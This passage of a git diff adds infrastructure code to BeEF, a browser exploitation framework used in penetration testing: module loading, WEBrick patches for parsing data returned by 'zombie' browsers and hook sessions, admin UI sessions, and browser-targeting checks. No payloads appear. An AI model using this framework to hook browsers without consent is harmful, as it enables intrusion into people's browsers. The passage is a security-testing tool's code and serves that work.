||||
|
||||
#
|
||||
# Unmounts handler
|
||||
#
|
||||
# @param: {String} url to mount.
|
||||
# @param: {Boolean} set to true for a hard mount, false for a soft mount.
|
||||
#
|
||||
def unmount(url, hard)
|
||||
# argument type checking
|
||||
raise Exception::TypeError, '"url" needs to be a string' if not url.string?
|
||||
raise Exception::TypeError, '"hard" needs to be a boolean' if not hard.boolean?
|
||||
|
||||
if hard
|
||||
@http_server.umount(url)
|
||||
else
|
||||
mounts.delete(url)
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
@http_server
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
28
core/modules.rb
Normal file
28
core/modules.rb
Normal file
@@ -0,0 +1,28 @@
|
||||
module BeEF
|
||||
module Module
|
||||
|
||||
def self.safe_category(cat)
|
||||
return cat.to_s.strip.downcase.sub(/\s/, '_')
|
||||
end
|
||||
|
||||
def self.loaded
|
||||
config = BeEF::Core::Configuration.instance
|
||||
return config.get('beef.module').select{|v| v.has_key?('loaded') and v['loaded'] == true }
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
# Include only enabled modules
|
||||
config = BeEF::Core::Configuration.instance
|
||||
modules = config.get('beef.module').select{|key, mod|
|
||||
mod['enable'] == true and mod['category'] != nil
|
||||
}
|
||||
|
||||
modules.each{ |k,v|
|
||||
cat = BeEF::Module.safe_category(v['category'])
|
||||
if File.exists?('modules/'+cat+'/'+k+'/module.rb')
|
||||
require 'modules/'+cat+'/'+k+'/module.rb'
|
||||
config.set('beef.module.'+k+'.loaded', true)
|
||||
end
|
||||
}
|
||||
24
core/ruby.rb
Normal file
24
core/ruby.rb
Normal file
@@ -0,0 +1,24 @@
|
||||
=begin
|
||||
|
||||
Code in the 'ruby' folder are meants to patch ruby classes or
|
||||
gem classes.
|
||||
|
||||
We use that to fix bugs or add functionalities to external code we
|
||||
are using.
|
||||
|
||||
=end
|
||||
|
||||
|
||||
# Patching Ruby
|
||||
require 'core/ruby/module'
|
||||
require 'core/ruby/object'
|
||||
require 'core/ruby/string'
|
||||
require 'core/ruby/print'
|
||||
require 'core/ruby/hash'
|
||||
|
||||
# Patching WebRick
|
||||
require 'core/ruby/patches/webrick/httprequest'
|
||||
require 'core/ruby/patches/webrick/cookie'
|
||||
require 'core/ruby/patches/webrick/genericserver'
|
||||
require 'core/ruby/patches/webrick/httpresponse'
|
||||
require 'core/ruby/patches/webrick/httpservlet/filehandler.rb'
|
||||
6
core/ruby/hash.rb
Normal file
6
core/ruby/hash.rb
Normal file
@@ -0,0 +1,6 @@
|
||||
# http://snippets.dzone.com/posts/show/3401
|
||||
class Hash
|
||||
def recursive_merge(h)
|
||||
self.merge!(h) {|key, _old, _new| if _old.class == Hash then _old.recursive_merge(_new) else _new end }
|
||||
end
|
||||
end
|
||||
86
core/ruby/module.rb
Normal file
86
core/ruby/module.rb
Normal file
@@ -0,0 +1,86 @@
|
||||
class Module
|
||||
# Returns the classes in the current ObjectSpace where this module has been
|
||||
# mixed in according to Module#included_modules.
|
||||
#
|
||||
# module M
|
||||
# end
|
||||
#
|
||||
# module N
|
||||
# include M
|
||||
# end
|
||||
#
|
||||
# class C
|
||||
# include M
|
||||
# end
|
||||
#
|
||||
# class D < C
|
||||
# end
|
||||
#
|
||||
# p M.included_in_classes # => [C, D]
|
||||
#
|
||||
def included_in_classes
|
||||
classes = []
|
||||
ObjectSpace.each_object(Class) { |k| classes << k if k.included_modules.include?(self) }
|
||||
|
||||
classes.reverse.inject([]) do |unique_classes, klass|
|
||||
unique_classes << klass unless unique_classes.collect { |k| k.to_s }.include?(klass.to_s)
|
||||
unique_classes
|
||||
end
|
||||
end
|
||||
|
||||
# Returns the modules in the current ObjectSpace where this module has been
|
||||
# mixed in according to Module#included_modules.
|
||||
#
|
||||
# module M
|
||||
# end
|
||||
#
|
||||
# module N
|
||||
# include M
|
||||
# end
|
||||
#
|
||||
# p M.included_in_modules # => [N]
|
||||
#
|
||||
def included_in_modules
|
||||
modules = []
|
||||
ObjectSpace.each_object(Module) { |k| modules << k if k.included_modules.include?(self) }
|
||||
|
||||
modules.reverse.inject([]) do |unique_modules, klass|
|
||||
unique_modules << klass unless unique_modules.collect { |k| k.to_s }.include?(klass.to_s)
|
||||
unique_modules
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# module M
|
||||
# end
|
||||
#
|
||||
# module N
|
||||
# extend M
|
||||
# end
|
||||
#
|
||||
# p N.extended_modules # => [M]
|
||||
#
|
||||
def extended_modules
|
||||
(class << self; self end).included_modules
|
||||
end
|
||||
|
||||
#
|
||||
# module M
|
||||
# end
|
||||
#
|
||||
# module N
|
||||
# extend M
|
||||
# end
|
||||
#
|
||||
# p M.extended_in_modules # => [N]
|
||||
#
|
||||
def extended_in_modules
|
||||
modules = []
|
||||
ObjectSpace.each_object(Module) { |k| modules << k if k.extended_modules.include?(self) }
|
||||
|
||||
modules.reverse.inject([]) do |unique_modules, klass|
|
||||
unique_modules << klass unless unique_modules.collect { |k| k.to_s }.include?(klass.to_s)
|
||||
unique_modules
|
||||
end
|
||||
end
|
||||
end
|
||||
71
core/ruby/object.rb
Normal file
71
core/ruby/object.rb
Normal file
@@ -0,0 +1,71 @@
|
||||
class Object
|
||||
|
||||
#
|
||||
# Returns true if the object is a Boolean
|
||||
#
|
||||
# Example:
|
||||
#
|
||||
# a = true
|
||||
# b = false
|
||||
# c = 1234 # Integer
|
||||
#
|
||||
# a.boolean? # => true
|
||||
# b.boolean? # => false
|
||||
# c.boolean? # => false
|
||||
#
|
||||
def boolean?
|
||||
self.is_a?(TrueClass) || self.is_a?(FalseClass)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if the object is a String
|
||||
#
|
||||
# Example:
|
||||
#
|
||||
# 1.string? # => false
|
||||
# 'abc'.string? # => true
|
||||
#
|
||||
def string?
|
||||
self.is_a?(String)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if the object is an Integer
|
||||
#
|
||||
# Example:
|
||||
#
|
||||
# 1.integer? # => true
|
||||
# 'abc'.integer? # => false
|
||||
#
|
||||
def integer?
|
||||
self.is_a?(Integer)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if the object is a hash
|
||||
#
|
||||
# Example:
|
||||
#
|
||||
# {}.hash? # => true
|
||||
# 1.hash? # => false
|
||||
#
|
||||
def hash?
|
||||
self.is_a?(Hash)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if the object is a class
|
||||
#
|
||||
# Example:
|
||||
#
|
||||
# class A
|
||||
# end
|
||||
#
|
||||
# obj = A.new
|
||||
# obj.class? # => true
|
||||
#
|
||||
def class?
|
||||
self.is_a?(Class)
|
||||
end
|
||||
|
||||
end
|
||||
23
core/ruby/patches/webrick/cookie.rb
Normal file
23
core/ruby/patches/webrick/cookie.rb
Normal file
@@ -0,0 +1,23 @@
|
||||
# The following file contains patches for WEBrick.
|
||||
module WEBrick
|
||||
|
||||
class Cookie
|
||||
attr_accessor :httponly
|
||||
|
||||
def to_s
|
||||
ret = ""
|
||||
ret << @name << "=" << @value
|
||||
ret << "; " << "Version=" << @version.to_s if @version > 0
|
||||
ret << "; " << "Domain=" << @domain if @domain
|
||||
ret << "; " << "Expires=" << @expires if @expires
|
||||
ret << "; " << "Max-Age=" << @max_age.to_s if @max_age
|
||||
ret << "; " << "Comment=" << @comment if @comment
|
||||
ret << "; " << "Path=" << @path if @path
|
||||
ret << "; " << "Secure" if @secure
|
||||
ret << "; " << "HttpOnly" if @httponly
|
||||
ret
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
15
core/ruby/patches/webrick/genericserver.rb
Normal file
15
core/ruby/patches/webrick/genericserver.rb
Normal file
@@ -0,0 +1,15 @@
|
||||
# The following file contains patches for WEBrick.
|
||||
module WEBrick
|
||||
|
||||
class HTTPServer < ::WEBrick::GenericServer
|
||||
|
||||
# I'm patching WEBrick so it does not log http requests anymore.
|
||||
# The reason being that it seems to considerably slow down BeEF which receives
|
||||
# numerous requests simultaneously. Additionally, it was also found to crash
|
||||
# the thread when not being able to write to the log file (which happened when
|
||||
# overloaded).
|
||||
def access_log(config, req, res); return; end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
77
core/ruby/patches/webrick/httprequest.rb
Normal file
77
core/ruby/patches/webrick/httprequest.rb
Normal file
@@ -0,0 +1,77 @@
|
||||
# The following file contains patches for WEBrick.
|
||||
module WEBrick
|
||||
|
||||
class HTTPRequest
|
||||
|
||||
# I'm patching the HTTPRequest class so that it when it receives POST
|
||||
# http requests, it parses the query present in the body even if the
|
||||
# content type is not set.
|
||||
#
|
||||
# The reason for this patch is that when a zombie sends back data to
|
||||
# BeEF, that data was not parsed because by default the content-type
|
||||
# was not set directly. I prefer patching WEBrick rather than editing
|
||||
# the BeEFJS library because cross domain http requests would be harder
|
||||
# to implement at the server level.
|
||||
#
|
||||
# Note: this function would need to be modified if we ever needed to
|
||||
# use multipart POST requests.
|
||||
def parse_query()
|
||||
begin
|
||||
if @request_method == "GET" || @request_method == "HEAD"
|
||||
@query = HTTPUtils::parse_query(@query_string)
|
||||
elsif @request_method == 'POST' || self['content-type'] =~ /^application\/x-www-form-urlencoded/
|
||||
@query = HTTPUtils::parse_query(body)
|
||||
elsif self['content-type'] =~ /^multipart\/form-data; boundary=(.+)/
|
||||
boundary = HTTPUtils::dequote($1)
|
||||
@query = HTTPUtils::parse_form_data(body, boundary)
|
||||
else
|
||||
@query = Hash.new
|
||||
end
|
||||
rescue => ex
|
||||
raise HTTPStatus::BadRequest, ex.message
|
||||
end
|
||||
end
|
||||
|
||||
def get_cookie_value(name)
|
||||
|
||||
return nil if name.nil?
|
||||
|
||||
@cookies.each{|cookie|
|
||||
c = WEBrick::Cookie.parse_set_cookie(cookie.to_s)
|
||||
return c.value if (c.name.to_s.eql? name)
|
||||
}
|
||||
|
||||
nil
|
||||
|
||||
end
|
||||
|
||||
def get_referer_domain
|
||||
|
||||
referer = header['referer'][0]
|
||||
|
||||
if referer =~ /\:\/\/([0-9a-zA-A\.]*(\:[0-9]+)?)\//
|
||||
return $1
|
||||
end
|
||||
|
||||
nil
|
||||
|
||||
end
|
||||
|
||||
def get_hook_session_id()
|
||||
|
||||
config = BeEF::Core::Configuration.instance
|
||||
hook_session_name = config.get('beef.http.hook_session_name')
|
||||
|
||||
@query[hook_session_name] || nil
|
||||
|
||||
end
|
||||
|
||||
# return the command module command_id value from the request
|
||||
def get_command_id()
|
||||
@query['command_id'] || nil
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
75
core/ruby/patches/webrick/httpresponse.rb
Normal file
75
core/ruby/patches/webrick/httpresponse.rb
Normal file
@@ -0,0 +1,75 @@
|
||||
# The following file contains patches for WEBrick.
|
||||
module WEBrick
|
||||
|
||||
class HTTPResponse
|
||||
|
||||
#
|
||||
# set caching headers none
|
||||
#
|
||||
def set_no_cache()
|
||||
@header['ETag'] = nil
|
||||
@header['Last-Modified'] = Time.now + 100**4
|
||||
@header['Expires'] = Time.now - 100**4
|
||||
@header['Cache-Control'] = 'no-store, no-cache, must-revalidate, post-check=0, pre-check=0'
|
||||
@header['Pragma'] = 'no-cache'
|
||||
end
|
||||
|
||||
#
|
||||
# set the cookie in the response
|
||||
# Limit: only one set-cookie will be within the response
|
||||
#
|
||||
def set_cookie(name, value, path = '/', httponly = true, secure = true)
|
||||
|
||||
cookie = WEBrick::Cookie.new(name, value)
|
||||
cookie.path = path
|
||||
cookie.httponly = httponly
|
||||
cookie.secure = secure
|
||||
|
||||
# add cookie to response header
|
||||
@header['Set-Cookie'] = cookie.to_s
|
||||
end
|
||||
|
||||
#
|
||||
# This patch should prevent leakage of directory listing, access
|
||||
# auth errors, etc.
|
||||
#
|
||||
def set_error(ex, backtrace=false)
|
||||
|
||||
# set repsonse headers
|
||||
@status = 404;
|
||||
@header['content-type'] = "text/html; charset=UTF-8"
|
||||
|
||||
# set response content
|
||||
@body = ''
|
||||
@body << <<-_end_of_html_
|
||||
|
||||
<HTML>
|
||||
<HEAD>
|
||||
<TITLE>No page for you!</TITLE>
|
||||
|
||||
<STYLE type="text/css">
|
||||
BODY { font: 8pt/12pt verdana }
|
||||
H1 { font: 13pt/15pt verdana }
|
||||
H2 { font: 8pt/12pt verdana }
|
||||
A:link { color: black; text-decoration: none }
|
||||
A:visited { color: black; text-decoration: none }
|
||||
</STYLE>
|
||||
|
||||
</HEAD><BODY>
|
||||
<TABLE width=500 border=0 cellspacing=10>
|
||||
<TR>
|
||||
<TD>
|
||||
|
||||
<h1><a href="http://www.bindshell.net/tools/beef/">These aren't the pages you're looking for</a></h1>
|
||||
|
||||
</TD>
|
||||
</TR>
|
||||
</TABLE>
|
||||
</BODY>
|
||||
</HTML>
|
||||
|
||||
_end_of_html_
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
32
core/ruby/patches/webrick/httpservlet/filehandler.rb
Normal file
32
core/ruby/patches/webrick/httpservlet/filehandler.rb
Normal file
@@ -0,0 +1,32 @@
|
||||
# The following file contains patches for WEBrick.
|
||||
|
||||
module WEBrick
|
||||
module HTTPServlet
|
||||
|
||||
class FileHandler
|
||||
|
||||
# prevent directory traversal attacks
|
||||
def prevent_directory_traversal(req, res)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "null character in path" if has_null?(req.path_info)
|
||||
|
||||
if trailing_pathsep?(req.path_info)
|
||||
expanded = File.expand_path(req.path_info + "x")
|
||||
expanded.chop! # remove trailing "x"
|
||||
else
|
||||
expanded = File.expand_path(req.path_info)
|
||||
end
|
||||
req.path_info = expanded
|
||||
end
|
||||
|
||||
# checks if a string contains null characters
|
||||
def has_null? (str)
|
||||
str.split(//).each {|c|
|
||||
return true if c.eql?("\000")
|
||||
}
|
||||
false
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
54
core/ruby/print.rb
Normal file
54
core/ruby/print.rb
Normal file
@@ -0,0 +1,54 @@
|
||||
#
|
||||
# Function used to print errors to the console
|
||||
#
|
||||
def print_error(s)
|
||||
puts Time.now.localtime.strftime("[%k:%M:%S]")+'[!]'.red+' '+s
|
||||
end
|
||||
|
||||
#
|
||||
# Function used to print information to the console
|
||||
#
|
||||
def print_info(s)
|
||||
puts Time.now.localtime.strftime("[%k:%M:%S]")+'[*]'.blue+' '+s
|
||||
end
|
||||
|
||||
#
|
||||
# Function used to print debug information
|
||||
#
|
||||
def print_debug(s)
|
||||
config = BeEF::Core::Configuration.instance
|
||||
if config.get('beef.debug') || BeEF::Extension::Console.verbose?
|
||||
puts Time.now.localtime.strftime("[%k:%M:%S]")+'[>]'.yellow+' '+s
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Function used to print successes to the console
|
||||
#
|
||||
def print_success(s)
|
||||
puts Time.now.localtime.strftime("[%k:%M:%S]")+'[+]'.green+' '+s
|
||||
end
|
||||
|
||||
#
|
||||
# Produces something that looks like that:
|
||||
#
|
||||
# [12:16:32] | Hook URL: http://127.0.0.1:3000/hook.js
|
||||
# [12:16:32] | UI URL: http://127.0.0.1:3000/ui/panel
|
||||
# [12:16:32] |_ Demo URL: http://127.0.0.1:3000/demos/basic.html
|
||||
#
|
||||
# The Template is like this:
|
||||
#
|
||||
# [date] | content
|
||||
#
|
||||
def print_more(s)
|
||||
time = Time.now.localtime.strftime("[%k:%M:%S]")
|
||||
lines = s.split("\n")
|
||||
|
||||
lines.each_with_index do |line, index|
|
||||
if ((index+1) == lines.size)
|
||||
puts "#{time} |_ #{line}"
|
||||
else
|
||||
puts "#{time} | #{line}"
|
||||
end
|
||||
end
|
||||
end
|
||||
11
core/ruby/string.rb
Normal file
11
core/ruby/string.rb
Normal file
@@ -0,0 +1,11 @@
|
||||
class String
|
||||
#
|
||||
# Use a gem to colorize the console.
|
||||
#
|
||||
# See: http://flori.github.com/term-ansicolor/
|
||||
#
|
||||
# Example: print "red bold".red.bold, "\n"
|
||||
#
|
||||
include Term::ANSIColor
|
||||
|
||||
end
|
||||
32
core/settings.rb
Normal file
32
core/settings.rb
Normal file
@@ -0,0 +1,32 @@
|
||||
module BeEF
|
||||
#
|
||||
# Use this module to check the current settings of BeEF.
|
||||
#
|
||||
# Examples:
|
||||
#
|
||||
# BeEF::Settings.console? # => returns true if the console extension exists and is loaded.
|
||||
#
|
||||
module Settings
|
||||
|
||||
#
|
||||
# Checks if an extension exists in the framework.
|
||||
# Returns true if the extension exists, false if not.
|
||||
#
|
||||
# Example:
|
||||
#
|
||||
# extension_exists?('Console') # => true
|
||||
# extension_exists?('abcdegh') # => false
|
||||
#
|
||||
def self.extension_exists?(beef_extension)
|
||||
BeEF::Extension.const_defined?(beef_extension)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true of the extension Console has been loaded
|
||||
#
|
||||
def self.console?
|
||||
self.extension_exists?('Console')
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
101
extensions/admin_ui/api/command.rb
Normal file
101
extensions/admin_ui/api/command.rb
Normal file
@@ -0,0 +1,101 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module AdminUI
|
||||
module API
|
||||
|
||||
module CommandExtension
|
||||
|
||||
extend BeEF::API::Command
|
||||
|
||||
include BeEF::Core::Constants::Browsers
|
||||
include BeEF::Core::Constants::CommandModule
|
||||
|
||||
#
|
||||
# verify whether this command module has been checked against the target browser
|
||||
# this function is used when determining the code of the node icon
|
||||
#
|
||||
def verify_target
|
||||
|
||||
return VERIFIED_UNKNOWN if not @target # no target specified in the module
|
||||
|
||||
# loop through each definition and check it
|
||||
@target.each {|definition|
|
||||
return definition['verified_status'] if test_target(definition)
|
||||
}
|
||||
|
||||
return VERIFIED_UNKNOWN
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# test if the target definition matches the hooked browser
|
||||
# this function is used when determining the code of the node icon
|
||||
#
|
||||
def test_target_attribute(hb_attr_name, hb_attr_ver, target_attr_name, target_attr_max_ver, target_attr_min_ver)
|
||||
|
||||
# check if wild cards are set
|
||||
return true if not target_attr_name
|
||||
return true if target_attr_name.nil?
|
||||
return true if target_attr_name.eql? ALL
|
||||
|
||||
# can't answer based on hb_attr_name
|
||||
return false if not hb_attr_name
|
||||
return false if hb_attr_name.nil?
|
||||
return false if hb_attr_name.eql? UNKNOWN
|
||||
|
||||
# check if the attribute is targeted
|
||||
return false if not target_attr_name.eql? hb_attr_name
|
||||
|
||||
# assume that the max version and min version were purposefully excluded
|
||||
return true if target_attr_max_ver.nil? && target_attr_min_ver.nil?
|
||||
|
||||
# check if the framework can detect hb version
|
||||
return false if hb_attr_ver.eql? 'UNKNOWN'
|
||||
|
||||
# check the version number is within range
|
||||
return false if hb_attr_ver.to_f > target_attr_max_ver.to_f
|
||||
return false if hb_attr_ver.to_f < target_attr_min_ver.to_f
|
||||
|
||||
# all the checks passed
|
||||
true
|
||||
end
|
||||
|
||||
#
|
||||
# test if the target definition matches the hooked browser
|
||||
# this function is used when determining the code of the node icon
|
||||
#
|
||||
def test_target(target_definition)
|
||||
|
||||
# if the definition is nill we don't know
|
||||
return false if target_definition.nil?
|
||||
|
||||
# check if the browser is a target
|
||||
hb_browser_name = get_browser_detail('BrowserName')
|
||||
hb_browser_version = get_browser_detail('BrowserVersion')
|
||||
target_browser_name = target_definition['browser_name']
|
||||
target_browser_max_ver = target_definition['browser_max_ver']
|
||||
target_browser_min_ver = target_definition['browser_min_ver']
|
||||
browser_match = test_target_attribute(hb_browser_name, hb_browser_version, target_browser_name, target_browser_max_ver, target_browser_min_ver)
|
||||
|
||||
# check if the operating system is a target
|
||||
hb_os_name = get_browser_detail('OsName')
|
||||
target_os_name = target_definition['os_name']
|
||||
os_match = test_target_attribute(hb_os_name, nil, target_os_name, nil, nil)
|
||||
return browser_match && os_match
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Get the browser detail from the database.
|
||||
#
|
||||
def get_browser_detail(key)
|
||||
bd = BeEF::Extension::Initialization::Models::BrowserDetails
|
||||
raise WEBrick::HTTPStatus::BadRequest, "@session_id is invalid" if not BeEF::Filters.is_valid_hook_session_id?(@session_id)
|
||||
bd.get(@session_id, key)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
41
extensions/admin_ui/api/handler.rb
Normal file
41
extensions/admin_ui/api/handler.rb
Normal file
@@ -0,0 +1,41 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module AdminUI
|
||||
module API
|
||||
|
||||
#
|
||||
# We use this module to register all the http handler for the Administrator UI
|
||||
#
|
||||
module Handler
|
||||
|
||||
# use of the API right here
|
||||
extend BeEF::API::Server::Handler
|
||||
|
||||
#
|
||||
# This function gets called automatically by the server.
|
||||
#
|
||||
def self.mount_handlers(beef_server)
|
||||
# retrieve the configuration class instance
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
|
||||
# registers the http controllers for the AdminUI extensions
|
||||
Dir["#{$root_dir}/extensions/admin_ui/controllers/**/*.rb"].each { |http_module|
|
||||
require http_module
|
||||
mod_name = File.basename http_module, '.rb'
|
||||
beef_server.mount("/ui/#{mod_name}", true, BeEF::Extension::AdminUI::Handlers::UI, mod_name)
|
||||
}
|
||||
|
||||
# mount the folder were we store static files (javascript, css, images) for the admin ui
|
||||
media_dir = File.dirname(__FILE__)+'/../media/'
|
||||
beef_server.mount('/ui/media', true, BeEF::Extension::AdminUI::Handlers::MediaHandler, media_dir)
|
||||
|
||||
# mount the favicon file
|
||||
beef_server.mount('/favicon.ico', true, WEBrick::HTTPServlet::FileHandler, "#{media_dir}#{configuration.get("beef.ui.favicon_dir")}/#{configuration.get("beef.ui.favicon_file_name")}")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
100
extensions/admin_ui/classes/httpcontroller.rb
Normal file
100
extensions/admin_ui/classes/httpcontroller.rb
Normal file
@@ -0,0 +1,100 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module AdminUI
|
||||
|
||||
#
|
||||
# Handle HTTP requests and call the relevant functions in the derived classes
|
||||
#
|
||||
class HttpController
|
||||
|
||||
attr_accessor :headers, :status, :body, :paths, :currentuser, :params
|
||||
|
||||
C = BeEF::Core::Models::Command
|
||||
CM = BeEF::Core::Models::CommandModule
|
||||
Z = BeEF::Core::Models::HookedBrowser
|
||||
|
||||
#
|
||||
# Class constructor. Takes data from the child class and populates itself with it.
|
||||
#
|
||||
def initialize(data = {})
|
||||
@erubis = nil
|
||||
@status = 200 if data['status'].nil?
|
||||
|
||||
@headers = {'Content-Type' => 'text/html; charset=UTF-8'} if data['headers'].nil?
|
||||
|
||||
if data['paths'].nil? and self.methods.include? "index"
|
||||
@paths = {'index' => '/'}
|
||||
else
|
||||
@paths = data['paths']
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Handle HTTP requests and call the relevant functions in the derived classes
|
||||
#
|
||||
def run(request, response)
|
||||
@request = request
|
||||
@params = request.query
|
||||
@session = BeEF::Extension::AdminUI::Session.instance
|
||||
auth_url = '/ui/authentication'
|
||||
|
||||
# test if session is unauth'd and whether the auth functionality is requested
|
||||
if not @session.valid_session?(@request) and not self.class.eql?(BeEF::Extension::AdminUI::Controllers::Authentication)
|
||||
@body = page_redirect(auth_url) # redirect to auth page
|
||||
return
|
||||
end
|
||||
|
||||
# get the mapped function (if it exists) from the derived class
|
||||
path = request.path_info
|
||||
raise WEBrick::HTTPStatus::BadRequest, "path is invalid" if not BeEF::Filters.is_valid_path_info?(path)
|
||||
function = @paths[path] || @paths[path + '/'] # check hash for '<path>' and '<path>/'
|
||||
raise WEBrick::HTTPStatus::BadRequest, "path does not exist" if function.nil?
|
||||
|
||||
# call the relevant mapped function
|
||||
function.call
|
||||
|
||||
# build the template filename and apply it - if the file exists
|
||||
function_name = function.name # used for filename
|
||||
class_s = self.class.to_s.sub('BeEF::Extension::AdminUI::Controllers::', '').downcase # used for directory name
|
||||
template_ui = "#{$root_dir}/extensions/admin_ui/controllers/#{class_s}/#{function_name}.html"
|
||||
@eruby = Erubis::FastEruby.new(File.read(template_ui)) if File.exists? template_ui # load the template file
|
||||
@body = @eruby.result(binding()) if not @eruby.nil? # apply template and set the response
|
||||
|
||||
# set content type
|
||||
if @headers['Content-Type'].nil?
|
||||
@headers['Content-Type']='text/html; charset=UTF-8' # default content and charset type for all pages
|
||||
@headers['Content-Type']='application/json; charset=UTF-8' if request.path =~ /.json$/
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Constructs a redirect page
|
||||
def page_redirect(location) "<html><head></head><body>" + script_redirect(location) + "</body></html>" end
|
||||
|
||||
# Constructs a redirect script
|
||||
def script_redirect(location) "<script> document.location=\"#{location}\"</script>" end
|
||||
|
||||
# Constructs a html script tag
|
||||
def script_tag(filename) "<script src=\"#{$url}/ui/media/javascript/#{filename}\" type=\"text/javascript\"></script>" end
|
||||
|
||||
# Constructs a html stylesheet tag
|
||||
def stylesheet_tag(filename) "<link rel=\"stylesheet\" href=\"#{$url}/ui/media/css/#{filename}\" type=\"text/css\" />" end
|
||||
|
||||
# Constructs a hidden html nonce tag
|
||||
def nonce_tag
|
||||
@session = BeEF::Extension::AdminUI::Session.instance
|
||||
"<input type=\"hidden\" name=\"nonce\" id=\"nonce\" value=\"" + @session.get_nonce + "\"/>"
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
@eruby
|
||||
|
||||
# Unescapes a URL-encoded string.
|
||||
def unescape(s); s.tr('+', ' ').gsub(/%([\da-f]{2})/in){[$1].pack('H*')} end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
114
extensions/admin_ui/classes/session.rb
Normal file
114
extensions/admin_ui/classes/session.rb
Normal file
@@ -0,0 +1,114 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module AdminUI
|
||||
|
||||
#
|
||||
# The session for BeEF UI.
|
||||
#
|
||||
class Session
|
||||
|
||||
include Singleton
|
||||
|
||||
attr_reader :ip, :id, :nonce, :auth_timestamp
|
||||
|
||||
def initialize
|
||||
set_logged_out
|
||||
@auth_timestamp = Time.new
|
||||
end
|
||||
|
||||
#
|
||||
# set the session logged in
|
||||
#
|
||||
def set_logged_in(ip)
|
||||
@id = BeEF::Core::Crypto::secure_token
|
||||
@nonce = BeEF::Core::Crypto::secure_token
|
||||
@ip = ip
|
||||
end
|
||||
|
||||
#
|
||||
# set the session logged out
|
||||
#
|
||||
def set_logged_out
|
||||
@id = nil
|
||||
@nonce = nil
|
||||
@ip = nil
|
||||
end
|
||||
|
||||
#
|
||||
# set teh auth_timestamp
|
||||
#
|
||||
def set_auth_timestamp(time)
|
||||
@auth_timestamp = time
|
||||
end
|
||||
|
||||
#
|
||||
# return the session id
|
||||
#
|
||||
def get_id
|
||||
@id
|
||||
end
|
||||
|
||||
#
|
||||
# return the nonce
|
||||
#
|
||||
def get_nonce
|
||||
@nonce
|
||||
end
|
||||
|
||||
#
|
||||
# return the auth_timestamp
|
||||
#
|
||||
def get_auth_timestamp
|
||||
@auth_timestamp
|
||||
end
|
||||
|
||||
#
|
||||
# Check if nonce valid
|
||||
#
|
||||
def valid_nonce?(request)
|
||||
|
||||
# check if a valid session
|
||||
return false if not valid_session?(request)
|
||||
return false if @nonce.nil?
|
||||
return false if not request.request_method.eql? "POST"
|
||||
|
||||
# get nonce from request
|
||||
request_nonce = request.query['nonce']
|
||||
return false if request_nonce.nil?
|
||||
|
||||
# verify nonce
|
||||
request_nonce.eql? @nonce
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Check if a session valid
|
||||
#
|
||||
def valid_session?(request)
|
||||
|
||||
# check if a valid session exists
|
||||
return false if @id.nil?
|
||||
return false if @ip.nil?
|
||||
|
||||
# check ip address matches
|
||||
return false if not @ip.to_s.eql? request.peeraddr[3]
|
||||
|
||||
# get session cookie name from config
|
||||
config = BeEF::Core::Configuration.instance
|
||||
session_cookie_name = config.get('beef.http.session_cookie_name')
|
||||
|
||||
# check session id matches
|
||||
request.cookies.each{|cookie|
|
||||
c = WEBrick::Cookie.parse_set_cookie(cookie.to_s)
|
||||
return true if (c.name.to_s.eql? session_cookie_name) and (c.value.eql? @id)
|
||||
}
|
||||
|
||||
# not a valid session
|
||||
false
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
5
extensions/admin_ui/config.yaml
Normal file
5
extensions/admin_ui/config.yaml
Normal file
@@ -0,0 +1,5 @@
|
||||
beef:
|
||||
extension:
|
||||
admin_ui:
|
||||
enable: true
|
||||
|
||||
30
extensions/admin_ui/constants/agents.rb
Normal file
30
extensions/admin_ui/constants/agents.rb
Normal file
@@ -0,0 +1,30 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module AdminUI
|
||||
module Constants
|
||||
|
||||
# The User Agent strings for browser detection
|
||||
module Agents
|
||||
|
||||
AGENT_UNKNOWN_IMG = 'unknown.png'
|
||||
AGENT_FIREFOX_UA_STR = 'Firefox'
|
||||
AGENT_FIREFOX_IMG = 'firefox.png'
|
||||
AGENT_MOZILLA_UA_STR = 'Mozilla'
|
||||
AGENT_MOZILLA_IMG = 'mozilla.png'
|
||||
AGENT_IE_UA_STR = 'MSIE'
|
||||
AGENT_IE_IMG = 'msie.png'
|
||||
AGENT_SAFARI_UA_STR = 'Safari'
|
||||
AGENT_SAFARI_IMG = 'safari.png'
|
||||
AGENT_KONQ_UA_STR = 'Konqueror'
|
||||
AGENT_KONQ_IMG = 'konqueror.png'
|
||||
AGENT_CHROME_UA_STR = 'Chrome'
|
||||
AGENT_CHROME_IMG = 'chrome.png'
|
||||
AGENT_OPERA_UA_STR = 'Opera'
|
